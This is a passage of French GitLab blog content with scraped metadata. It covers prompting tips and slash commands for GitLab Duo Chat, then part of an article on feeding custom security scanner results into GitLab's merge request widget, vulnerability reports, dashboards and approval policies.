obtenir une réponse plus adaptée, appliquez un pattern de [communication à contexte faible](https://handbook.gitlab.com/handbook/company/culture/all-remote/effective-communication/#understanding-low-context-communication), qui est utilisé dans les communications 100 % à distance chez GitLab.\n\nLa question suivante ne fournit pas suffisamment de contexte dans le cadre d'un projet C++.\n\n> Should I use virtual override instead of just override? \n\n![Prompt demandant si les utilisateurs doivent utiliser le remplacement virtuel au lieu d'un simple remplacement et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image34_aHR0cHM6_1750097645354.png)\n\nEssayez plutôt d'ajouter davantage de contexte :\n\n> When implementing a pure virtual function in an inherited class, should I use virtual function override, or just function override? Context is C++. \n\n![Prompt offrant plus de détails et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image36_aHR0cHM6_1750097645355.png)\n\nVous pouvez également consulter l'exemple dans la vidéo [GitLab Duo Coffee Chat : Refactor C++ functions into OOP classes for abstract database handling](https://youtu.be/Z9EJh0J9358?t=2190). \n\n### 5. Répétez la question\n\nL'IA n'est pas prévisible. Sa réponse peut parfois différer des résultats attendus, ou elle ne produit pas d'exemples de code source ni d'extraits de code de configuration en raison du manque de contexte. Il est recommandé de répéter la question et de préciser les conditions requises.\n\nDans l'exemple suivant, nous voulons créer une application C#. Lors de la première tentative, nous n'avons pas spécifié le type d'application alors que le langage C# peut servir à créer une console/un terminal ou des applications d'interface utilisateur. Le résultat ne fournit pas non plus d'exemple de code source vide. Le second prompt répété ajoute deux mots supplémentaires : `console` et `empty`. \n\n> How can I get started creating an C# application in VS Code? \n> \n> How can I get started creating an empty C# console application in VS Code? \n\nLes résultats du prompt diffèrent. La première réponse est utile pour commencer en suivant les instructions dans la fenêtre VS Code, mais elle ne nous indique pas où se trouve le code source et comment le modifier. La réponse obtenue suite à la répétition et à l'amélioration du prompt fournit des instructions sur la façon de remplacer le template par défaut par un code de type « hello world ».\n\n![Répétition/modification du prompt et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image28_aHR0cHM6_1750097645355.png)\n\nVous pouvez également combiner des stratégies de répétition et d'affinement, et demander à Chat de montrer un exemple de code d'application et de tests.\n\n> How can I get started creating an empty C# console application in VSCode? Please show an example for application and tests. \n\n![Prompt demandant un exemple d'application et de tests et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097645356.png)\n\n#### Répétez la question après avoir posé des questions génériques \n\nLorsque vous posez des questions génériques sur la technologie, GitLab Duo Chat peut ne pas être en mesure de vous aider. Dans le scénario suivant, nous n'avons pas pu obtenir de suggestion de framework et d'outils de compilation Java. Les possibilités de réponse sont trop nombreuses : elles peuvent concerner des outils de compilation tels que Maven et Gradle et [plus de 100 frameworks Java](https://fr.wikipedia.org/wiki/Liste_de_frameworks_Java), selon la pile technologique et les conditions requises.\n\n![Prompt demandant un framework et des outils de compilation Java et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097645356.png)\n\nNous souhaitons maintenant nous concentrer sur un environnement client avec [Java Spring Boot](https://spring.io/projects/spring-boot). \n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. \n\n![Prompt demandant des informations supplémentaires (notamment un exemple hello world) et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image26_aHR0cHM6_1750097645357.png)\n\nCe prompt donne déjà d'excellents résultats. Effectuez l'exercice asynchrone suivant : répétez le prompt et demandez comment déployer l'application, en ajoutant plus de détails à chaque étape. Vous pouvez également transformer le prompt en conversation de suivi.\n\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD. \n>\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images. \n>\n> I want to create a Java Spring Boot application. Please explain the project structure and show a hello world example. Show how to build and deploy the application in CI/CD, using container images. Use Kubernetes and GitOps in GitLab. \n\n### 6. Faites preuve de patience\n\nLes mots simples ou les phrases courtes peuvent ne pas générer les résultats souhaités, [comme le montre cet exemple vidéo](https://youtu.be/JketELxLNEw?t=1220). GitLab Duo Chat peut parfois deviner correctement à partir des données disponibles, mais peut également demander plus de contexte.\n\nExemple : le terme `labels` qui apparaît dans la documentation GitLab.\n\n![Prompt portant sur les labels et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image12_aHR0cHM6_1750097645357.png)\n\nLimitez la question aux énoncés de problèmes et ciblez l'utilisation du tableau des tickets.\n\n> Explain labels in GitLab. Provide an example for efficient usage with issue boards.\n\n![Prompt demandant d'inclure un exemple et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image21_aHR0cHM6_1750097645358.png)\n\nVous pouvez également formuler un énoncé de problème suivi d'une question et demander des exemples supplémentaires.\n\n> I don't know how to use labels in GitLab. Please provide examples, and how to use them for filters in different views. Explain these views with examples.\n\n![Prompt énonçant un problème et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097645358.png)\n\nDe plus, évitez les questions fermées et précisez le contexte.\n\n> Can you help me fix performance regressions? \n\n![Prompt demandant de l'aide pour corriger les régressions affectant les performances et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image18_aHR0cHM6_1750097645359.png)\n\nFournissez plutôt davantage de contexte sur la régression affectant les performances, y compris les langages de programmation, les frameworks, la pile technologique et les environnements. L'exemple suivant utilise un environnement datant d'il y a plusieurs années, qui peut encore être utile aujourd'hui.\n\n> My PHP application encounters performance regressions using PHP 5.6 and MySQL 5.5. Please explain potential root causes, and how to address them. The app is deployed on Linux VMs. \n\n![Prompt plus détaillé et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image24_aHR0cHM6_1750097645360.png)\n\n### 7. Réinitialisez la conversation et lancez-en une nouvelle\n\nIl peut arriver que l'historique du chat montre une courbe d'apprentissage différente et ne fasse pas appel au contexte adéquat pour les questions de suivi. Il est également possible que GitLab Duo Chat ne puisse pas répondre aux questions spécifiques que vous avez posées. L'IA générative n'est pas prévisible et peut donc parfois ne pas être en mesure de fournir certains exemples à l'instant précis. Cependant, elle peut les fournir dans sa réponse à une future question (ce comportement a été observé dans la version bêta de GitLab Duo Chat). Les grands modèles de langage (LLM) sous-jacents peuvent parfois insister pour donner une réponse spécifique, créant une boucle sans fin.\n\n> How can I get started creating an empty C# console application in VSCode? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#, and add security scanning for GitLab. Explain how solutions and projects in C# work, and how to add a test project on the CLI.\n\nAprès avoir posé la question ci-dessus et demandé un exemple de configuration, nous avons tenté de réduire la portée de la question afin d'obtenir une réponse plus adaptée. Nous n'avons pas obtenu le résultat escompté, car Chat prend en compte le contexte de l'historique du chat et fait référence aux réponses précédentes.\n\n> How can I get started creating an empty C# console application in VSCode? Please show a .gitignore and .gitlab-ci.yml configuration with steps for C#. \n\n![Prompt demandant des exemples de configuration et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image23_aHR0cHM6_1750097645360.png)\n\nPour forcer GitLab Duo Chat à utiliser un nouveau contexte, utilisez la commande slash `/reset` pour remettre la session à zéro. Répétez ensuite la question pour obtenir de meilleurs résultats. Vous pouvez également utiliser `/clean` ou `/clear` pour supprimer tous les messages de la conversation.\n\n### 8. Gagnez en productivité en utilisant les commandes slash dans l'IDE \n\n#### Explication du code\n\n- Q : Code généré ? Code existant ? Code hérité ?\n- R : Utilisez la [commande slash `/explain` dans l'IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#explain-code-in-the-ide).\n- R2 : Affinez le prompt pour obtenir des réponses plus ciblées, par exemple : `/explain focus on potential shortcomings or bugs`.\n\n![Prompt utilisant la commande slash /explain](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/gitlab_duo_chat_slash_commands_explain_01_aHR0cHM6_1750097645361.png)\n\n![Prompt affiné](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097645361.png)\n\n#### Refactorisation du code\n\n- Q : Code illisible ? Code spaghetti trop long ? Aucune couverture de test ?\n- R : Utilisez la [commande slash `/refactor` dans l'IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#refactor-code-in-the-ide).\n- R2 : Affinez le prompt pour effectuer des actions plus ciblées, par exemple refactoriser du code pour obtenir des patterns orientés objet : `/refactor into object-oriented classes with methods and attributes`. \n\n![Prompt utilisant la commande slash /refactor](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image35_aHR0cHM6_1750097645362.png)\n\n![Prompt affiné](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image30_aHR0cHM6_1750097645362.png)\n\n#### Génération de tests\n\n- Q : Le code peut être testé, mais créer les tests prend trop de temps ?\n- R : Utilisez la [commande slash `/tests` dans l'IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html#write-tests-in-the-ide).\n\n- R2 : Affinez le prompt pour utiliser des frameworks de test spécifiques ou des cibles de test. Vous pouvez également demander à GitLab Duo Chat de se concentrer sur la refactorisation du code, puis de générer des tests : `/tests focus on refactoring the code into functions, and generate tests`.\n\n![Prompt utilisant la commande slash /tests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image29_aHR0cHM6_1750097645363.png)\n\n![Prompt affiné](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097645363.png)\n\nDécouvrez d'autres cas pratiques de workflows de développement complets dans notre [documentation](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html).\n\n### 9. Affinez le prompt pour les commandes slash\n\nVous trouverez dans cet article de nombreux conseils pour rendre vos prompts plus spécifiques. Cette approche contribue à améliorer la productivité d'un workflow alimenté par l'IA. De la même manière, les commandes slash permettent d'obtenir de meilleurs résultats dans GitLab Duo Chat.\n\nRécemment, un client a posé la question suivante : « L'explication de code utilisant `/explain` peut-elle générer des commentaires intégrés au code ? ». La réponse est non. Vous pouvez cependant poser des questions de suivi à l'aide de prompts dans Chat et demander un résumé sous la forme d'un commentaire de code. Le langage de programmation doit être indiqué.\n\nDans l'exemple suivant, un [code client HTTP C++ utilisant la bibliothèque cURL](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5cc9bdd65ee8ee16c548bea0402c18f8209d4d06/chat/slash-commands/c++/cli.cpp) nécessite plus de documentation. Vous pouvez affiner le prompt `/explain` en fournissant des instructions plus précises en demandant à GitLab Duo Chat d'expliquer le code en ajoutant des commentaires au code, puis copier-coller le prompt ainsi obtenu dans l'éditeur.\n\n> /explain add documentation, rewrite the code snippet \n\n![Prompt demandant d'ajouter de la documentation/de réécrire l'extrait de code et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image13_aHR0cHM6_1750097645363.png)\n\nVous pouvez également demander à GitLab Duo Chat de refactoriser le code source (via la commande `/refactor`) et de générer des commentaires au code via un prompt personnalisé.\n\n> /refactor add code comments and documentation\n\n![Prompt demandant de réusiner le code source et de générer des commentaires de code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image15_aHR0cHM6_1750097645364.png)\n\n### 10. Utilisez les commandes slash de manière créative\n\nLorsque l'IA ne connaît pas la réponse à une question sur le code source ou le langage de programmation, réfléchissez à la manière dont les commandes slash `/explain`, `/refactor` et `/tests` peuvent vous aider.\n\nDans l'exemple suivant, une chaîne de requête SQL en C++ est créée sur une seule ligne. Pour améliorer la lisibilité et avoir la possibilité d'ajouter plus de colonnes de base de données à l'avenir, il peut être utile de choisir une chaîne multiligne.\n\n> std::string sql = \"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, email TEXT NOT NULL)\";\n\nVous pouvez demander à GitLab Duo Chat des précisions à ce sujet, par exemple en posant la question suivante :\n\n> How to create a string in C++ using multiple lines? \n\nChat peut répondre avec une explication et éventuellement un exemple de code source. Dans ce contexte, il peut proposer de créer une valeur de chaîne C++ sur plusieurs lignes, par exemple en utilisant le caractère `\\n`, affectée à une variable. \n\nLa condition requise est plutôt de formater uniquement le code écrit et d'affecter des valeurs de variable dans plusieurs lignes. Il n'est pas nécessaire que la valeur de chaîne elle-même contienne une représentation de chaîne multiligne. \n\nVous disposez d'une alternative pour fournir un contexte supplémentaire dans VS Code et le Web IDE : sélectionnez le code source en question, effectuez un clic droit et accédez au menu `GitLab Duo Chat > Refactor`. Cela permet d'ouvrir la fenêtre de prompt de GitLab  Duo Chat et de déclencher immédiatement la tâche de code `/refactor`.\n\nCette dernière peut toutefois ne pas produire les résultats attendus. La refactorisation d'une chaîne SQL sur une seule ligne peut signifier beaucoup de choses : utiliser plusieurs lignes pour plus de lisibilité, créer des constantes et plus encore.\n\nLes tâches de code fournissent une option pour rendre le prompt plus spécifique. Vous pouvez ajouter plus de texte après la commande `/refactor` et demander à GitLab Duo Chat d'utiliser un type de code, un algorithme ou un design pattern spécifique. \n\nRéessayons en sélectionnant le code source, en affichant la fenêtre du chat, en saisissant le prompt suivant et en appuyant sur Entrée. \n\n> /refactor into a multi-line written string. Show different approaches for all C++ standards. \n\n![Prompt demandant de réusiner le code en une chaîne écrite multiligne et réponse obtenue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image17_aHR0cHM6_1750097645364.png)\n\n**Astuce :** vous pouvez utiliser la fonctionnalité de suggestions de code de GitLab Duo pour affiner encore plus le code source après la refactorisation, ou utiliser d'autres affinements de prompt `/refactor`.\n\n>/refactor into a multi-line written string, show different approaches \n>\n> /refactor into multi-line string, not using raw string literals\n>\n> /refactor into a multi-line written string. (/refactor en une chaîne écrite multiligne.) Faites en sorte que le nom de la table soit paramétrable\n\nDécouvrez une autre approche avec le type `stringstream` dans la vidéo « [GitLab Duo Coffee Chat : Refactor C++ functions into OOP classes for abstract database handling](https://www.youtube.com/watch?v=Z9EJh0J9358) ». \n\n#### Explication des vulnérabilités\n\nLe résultat peut être aléatoire, mais vous pouvez également exécuter la commande slash `/explain` pour obtenir des explications sur les failles de sécurité. Dans cet exemple, le [code C](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c) contient plusieurs vulnérabilités liées notamment à des dépassements de mémoire tampon strcpy(), à des fichiers modifiables par tout le monde et à des attaques de type « race condition ».\n\n> /explain why this code has multiple vulnerabilities \n\n![Prompt demandant des explications sur les multiples vulnérabilités du code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image20_aHR0cHM6_1750097645365.png)\n\n#### Refactorisation du code C  en langage Rust\n\nLe langage Rust garantit la sécurité de la mémoire. Vous pouvez demander à GitLab Duo Chat de refactoriser le [code C](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-prompts/-/blob/5a5f293dfbfac7222ca4013d8f9ce9b462e4cd3a/chat/slash-commands/c/vuln.c)  vulnérable en Rust, en utilisant la commande `/refactor`. Entraînez-vous avec des prompts plus précis afin d'obtenir de meilleurs résultats.\n\n> /refactor into Rust and use high level libraries \n\n![Prompt dans Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097645/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097645366.png)\n\n### Raccourcis \n\nEssayez ces raccourcis dans votre environnement et entraînez-vous de manière asynchrone avec GitLab Duo Chat.\n\n1. Inspectez le code vulnérable des CVE et demandez le problème rencontré et comment y remédier, en utilisant le prompt `/explain why is this code vulnerable`. \n**Astuce :** importez des projets open source dans GitLab pour tirer parti des explications de code de GitLab Duo Chat.\n1. Essayez de refactoriser le code dans de nouveaux langages de programmation pour faciliter la migration du code hérité.\n1. Vous pouvez également essayer de réusiner le code d'une configuration Jenkins dans GitLab CI/CD, en utilisant le prompt `/refactor into GitLab CI/CD configuration`. \n\n### En savoir plus\n\nIl existe de nombreux environnements et défis différents à relever. Consultez notre [documentation sur GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat.html) pour découvrir plus d'exemples pratiques, ainsi qu'une section contenant des [exemples de cas d'utilisation de GitLab Duo](https://docs.gitlab.com/ee/user/gitlab_duo_examples.html) contenant des informations sur les workflows DevSecOps alimentés par l'IA, notamment à l'aide de GitLab Duo Chat. \n\n> Vous souhaitez utiliser GitLab Duo Chat ? [Commencez votre essai gratuit dès aujourd'hui](https://about.gitlab.com/fr-fr/solutions/gitlab-duo-pro/sales/).\n",[699,1069,1067,675],"2025-03-12",{"slug":2962,"featured":92,"template":683},"10-best-practices-for-using-ai-powered-gitlab-duo-chat","content:fr-fr:blog:10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","10 Best Practices For Using Ai Powered Gitlab Duo Chat","fr-fr/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat.yml","fr-fr/blog/10-best-practices-for-using-ai-powered-gitlab-duo-chat",{"_path":2968,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2969,"content":2975,"config":2981,"_id":2983,"_type":16,"title":2984,"_source":17,"_file":2985,"_stem":2986,"_extension":20},"/fr-fr/blog/how-to-integrate-custom-security-scanners-into-gitlab",{"title":2970,"description":2971,"ogTitle":2970,"ogDescription":2971,"noIndex":6,"ogImage":2972,"ogUrl":2973,"ogSiteName":841,"ogType":842,"canonicalUrls":2973,"schema":2974},"Comment intégrer vos propres scanners de sécurité dans GitLab","Découvrez comment enrichir votre usage de la plateforme DevSecOps en ajoutant des scanners de sécurité personnalisés à vos workflows.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097082/Blog/Hero%20Images/Blog/Hero%20Images/securitycheck_securitycheck.png_1750097081856.png","https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment intégrer vos propres scanners de sécurité dans GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-02-27\",\n      }",{"title":2970,"description":2971,"authors":2976,"heroImage":2972,"date":2977,"body":2978,"category":673,"tags":2979,"updatedDate":2980},[1316],"2024-02-27","GitLab, la plateforme DevSecOps la plus complète, dispose de toutes les fonctionnalités nécessaires pour planifier, gérer, compiler, déployer, sécuriser, gouverner et surveiller vos applications. Vous pouvez toutefois utiliser en complément des outils tiers ou personnalisés, par exemple si vous devez migrer vers une plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ? \") à partir de solutions distinctes, évaluer des outils tiers ou intégrer des solutions propriétaires ou personnalisées dans GitLab.\n\n## Extensibilité de la plateforme DevSecOps de GitLab\n\nLa plateforme DevSecOps de GitLab peut être enrichie de nombreuses façons afin de prendre en charge les fonctionnalités améliorées dont votre entreprise a besoin. \n\nVoici quelques exemples d'intégrations courants :\n\n- Intégrations d'applications externes, telles que Jenkins et Slack\n- Intégrations de systèmes externes de gestion des tickets, tels que Bugzilla et Jira\n- Intégrations de fournisseurs d'authentification externes, tels que LDAP et SAML\n- Intégrations de scanners de sécurité externes, tels que Fortify et Checkmarx\n- Détection et gestion de secrets exposés, tels que les clés d'accès AWS et GCP\n\nConsultez notre [documentation](https://docs.gitlab.com/ee/integration/) pour connaître toutes les intégrations disponibles (liste non exhaustive). \n\n## Intégration de scanners de sécurité dans GitLab\n\nIl est possible d'intégrer des [scanners de sécurité tiers](https://docs.gitlab.com/ee/integration/#security-improvements) ou des [scanners de sécurité personnalisés](https://gitlab.com/gitlab-de/tutorials/security-and-governance/custom-scanner-integration) dans GitLab. Ces scanners peuvent ainsi alimenter plusieurs sections clés de l'interface GitLab, telles que le widget de sécurité des merges requests, la section Sécurité des pipelines, le rapport de vulnérabilités, les pages de vulnérabilités, le tableau de bord de sécurité ainsi que les politiques d'approbation des merge requests. \n\nPassons en revue chacune de ces intégrations.\n\n### Widget de sécurité des merge requests\n\nUne merge request contient un widget de sécurité qui affiche un résumé des vulnérabilités récemment détectées.\n\n![intégration de scanners de sécurité - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097088837.png)\n\n\u003Ccenter>\u003Ci>Widget de sécurité des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLorsque vous cliquez sur une vulnérabilité, la fenêtre contextuelle qui s'affiche contient les informations suivantes :\n- Statut\n- Description\n- Projet\n- Fichier\n- Identifiants\n- Gravité\n- Outil\n- Fournisseur du scanner\n\n![intégration de scanners de sécurité - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097088838.png)\n\n\u003Ccenter>\u003Ci>Vulnérabilités exploitables et détails associés\u003C/i>\u003C/center>\n\n\u003Cp>\u003C/p>\n\nCes vulnérabilités sont également exploitables, ce qui signifie qu'elles peuvent être rejetées ou qu'un ticket confidentiel peut être créé.\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter le widget de sécurité. Les données de vulnérabilité sont renseignées à partir du schéma JSON généré par le scanner.\n\n### Section Sécurité des pipelines\n\nTous les scanners de sécurité activés s'exécutent dans le pipeline et génèrent leurs résultats sous forme d'artefacts qui font l'objet d'un traitement (déduplication incluse). Les résultats sont ensuite répertoriés dans l'onglet Sécurité des pipelines. À partir de là, vous pouvez également télécharger les fichiers JSON générés.\n\n![intégration de scanners de sécurité - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097088840.png)\n\n\u003Ccenter>\u003Ci>Onglet Sécurité des pipelines\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter l'onglet Sécurité des pipelines. Les colonnes sont remplies à l'aide du schéma JSON émis par le scanner.\n\n### Rapport de vulnérabilités\n\nLe rapport de vulnérabilités fournit des informations sur les vulnérabilités issues des scans de la branche par défaut, notamment :\n\n- Le nombre total de vulnérabilités par niveau de gravité\n- Les filtres d'attributs de vulnérabilité courants\n- Les détails de chaque vulnérabilité, présentés sous forme de tableau\n\n![intégration de scanners de sécurité - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097088842.png)\n\n\u003Ccenter>\u003Ci>Rapport de vulnérabilités\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé sur la branche par défaut peuvent être utilisés pour alimenter le rapport de vulnérabilités.\n\n### Pages de vulnérabilités\n\nEn cliquant sur une vulnérabilité présente dans le rapport de vulnérabilités, vous accédez à une page dédiée comprenant les informations suivantes : \n\n- sa description\n- la date de détection\n- son statut actuel\n- son emplacement  \n- les actions disponibles pour y remédier\n- les tickets liés à cette vulnérabilité\n- le log des actions effectuées sur cette vulnérabilité\n- les solutions proposées\n- un identifiant \n- des ressources de formation pour prévenir ce type de faille\n\nVous pouvez utiliser les données fournies dans la page de vulnérabilité pour évaluer l’importance du problème et prendre les mesures nécessaires pour corriger la vulnérabilité efficacement.\n\n![intégration de scanners de sécurité - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750097088844.png)\n\n\u003Ccenter>\u003Ci>Page de vulnérabilité pour une faille relative à la détection des secrets\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être utilisés pour alimenter la page de vulnérabilité. Les données de vulnérabilité sont renseignées à partir du schéma JSON généré par le scanner.\n\n### Tableau de bord de sécurité\n\nLes tableaux de bord de sécurité permettent d'évaluer la posture de sécurité de vos applications. GitLab vous fournit un ensemble d'indicateurs, d'évaluations et de graphiques correspondant aux vulnérabilités détectées par les scanners de sécurité exécutés sur votre projet. Le tableau de bord de sécurité fournit différentes données, notamment :\n\n- Les tendances des vulnérabilités sur une période de 30, 60 ou 90 jours pour tous les projets d'un groupe\n- Une note sous forme de lettre pour chaque projet en fonction de la gravité de la vulnérabilité\n- Le nombre total de vulnérabilités détectées au cours des 365 derniers jours et leurs niveaux de gravité\n\n![intégration de scanners de sécurité - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750097088846.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du groupe\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nÀ partir du tableau de bord de sécurité au niveau du groupe, vous pouvez cliquer sur un projet pour accéder au tableau de bord de sécurité associé, qui fournit une vue sur 365 jours.\n\n![intégration de scanners de sécurité - image 7](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097088847.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du projet\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n### Intégration des politiques d'approbation des merge requests \n\nLes politiques d'approbation des merge requests, anciennement désignées comme stratégies de sécurité basées sur les résultats de scan dans les versions précédentes de GitLab, sont utilisées pour exiger une approbation en fonction des résultats d'un ou de plusieurs jobs de scan de sécurité. L'objectif est d'éviter que du code non sécurisé ne soit fusionné et déployé en production. Ces politiques sont évaluées après l'exécution complète des jobs de scan dans les pipelines CI, en s'appuyant sur les rapports générés par les artefacts de job et publiés dans le pipeline une fois celui-ci terminé.\n\nPar exemple, vous pouvez créer une politique d'approbation des merge requests qui exige l'approbation des chargés de maintenance du projet dans le cas où le scanner de détection de secrets détecte des vulnérabilités. Voici comment procéder :\n\n1. Dans la barre latérale gauche, cliquez sur **Rechercher ou accéder à** et recherchez le projet auquel vous souhaitez ajouter une politique.\n\n2. Dans la barre latérale gauche du projet, accédez à **Sécurisation > Politiques**\n\n3. Sélectionnez **Nouvelle stratégie de sécurité**\n\n4. Dans la section **Politiques d'approbation des merge requests**, sélectionnez **Sélectionner une stratégie de sécurité**.\n\n5. Renseignez les champs suivants :\n- Nom : le nom de la politique d'approbation\n- Description : la description de la politique d'approbation\n- État : indique si la politique d'approbation est activée ou non\n- Règles : les conditions qui doivent être remplies pour déclencher une action (comme exiger une approbation)\n\n![intégration de scanners de sécurité - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097088849.png)\n\u003Ccenter>\u003Ci>Règles de la politique d'approbation des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Actions : l'action à entreprendre chaque fois que les conditions définies dans les règles (vulnérabilités/licences détectées) sont remplies\n\n![intégration de scanners de sécurité - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750097088850.png)\n\n\u003Ccenter>\u003Ci>Actions associées à la politique d'approbation des merge requests\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\n- Remplacer les paramètres d'approbation du projet : si cette option est sélectionnée, les choix suivants écraseront les paramètres du projet, mais uniquement pour les branches spécifiées dans la politique d'approbation des merges requests.\n\n![intégration de scanners de sécurité - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097088851.png)\n\n \u003Ccenter>\u003Ci>Paramètres d'approbation de la politique d'approbation des merge requests\u003C/i>\u003C/center>\n \u003Cp>\u003C/p>\n\n6. Cliquez sur le bouton **Configurer avec une merge request**.\n\nUne fois que la politique d'approbation des merge requests a été fusionnée, chaque fois que vous créez une merge request et que les critères définis dans les règles sont remplis, l'action définie est déclenchée. Dans ce cas, au moins une approbation de la part d'un chargé de maintenance sera requise avant que le code puisse être fusionné.\n\n![scanner de sécurité intégré - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097089/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750097088852.png)\n\n\u003Ccenter>\u003Ci>Merge request bloquée en raison de vulnérabilités détectées\u003C/i>\u003C/center>\n\u003Cp>\u003C/p>\n\nLes résultats d'un scanner personnalisé peuvent être entièrement intégrés aux politiques d'approbation des merge requests. Si le scanner personnalisé détecte une vulnérabilité, une approbation sera alors requise avant que le code puisse être fusionné. Le scanner que vous sélectionnez dans une telle politique doit utiliser le schéma JSON 